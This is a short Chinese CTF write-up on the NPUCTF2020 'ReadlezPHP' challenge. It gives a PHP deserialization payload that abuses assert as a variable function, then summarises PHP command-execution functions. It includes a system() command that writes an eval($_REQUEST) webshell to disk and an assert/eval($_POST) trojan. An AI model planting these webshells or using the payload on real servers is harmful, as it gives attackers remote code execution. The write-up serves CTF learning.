PHP教程

[NPUCTF2020]ReadlezPHP

本文主要是介绍[NPUCTF2020]ReadlezPHP,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

[NPUCTF2020]ReadlezPHP WriteUp

知识点

  • 反序列化
  • 可变函数

题解

  • 很简单,直接上最后的payload。

    ?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D
    
    没有编码是: O:8:"HelloPhp":2:{s:1:"a";s:10:"phpinfo();";s:1:"b";s:6:"assert";}
    
  • 但是我想通过这道题总结一下可执行命令函数和可变函数。 理解为什么不用 eval("phpinfo()");

执行外部命令的函数

  • exec()

    • php会操控计算机执行计算机命令,且获取最后一行数据,没有回显,需要echo输出

    • <?php echo exec('ipconfig');?>
      
  • shell_exec()

  • system()

    • 会操作计算机执行计算机命令,如果Linux,执行Bash命令,如果Windows执行cmd命令

    • <?php system("whoami");?>
      
      写入shell
      <?php system('echo "<?php eval($_REQUEST[8]);?>" > 123.php');?>
      
  • passthru() 只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。

  • system() 输出并返回最后一行shell结果。
    exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
    passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
    相同点:都可以获得命令执行的状态码

执行内部命令

  • eval()

    • 里面必须是字符串;字符串必须是合法的PHP代码,且必须以分号结尾;如果字符串里面没有调用return语句,则返回NULL,如果解析错误,返回false
  • assert() 检查断言是否为false。

    • 在php5或php7中,如果括号里面是字符串,它会被当作代码来执行
    • 构造木马可以用 assert("eval($_POST['cmd'])"); 其中assert 可以是字符串。
  • 以前知道可变变量,现在有明白了可变函数。如果一个字符串后面有括号() 。它就会去找与此字符串同名的函数,如果有,就当作函数来执行。

  • 但是 语言构造器和 语言结构(echo,print,unset,isset,empty,include,require等) 属于不可变函数

  • eval是一个语言构造器而不是一个函数,不能被 可变函数 调用。

  • 从 PHP7.1 之后,assert 也不再是可变函数。

  • 还有一些可执行内部命令的函数没有总结,如`` , preg_replace()的 e 模式。等等

这篇关于[NPUCTF2020]ReadlezPHP的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!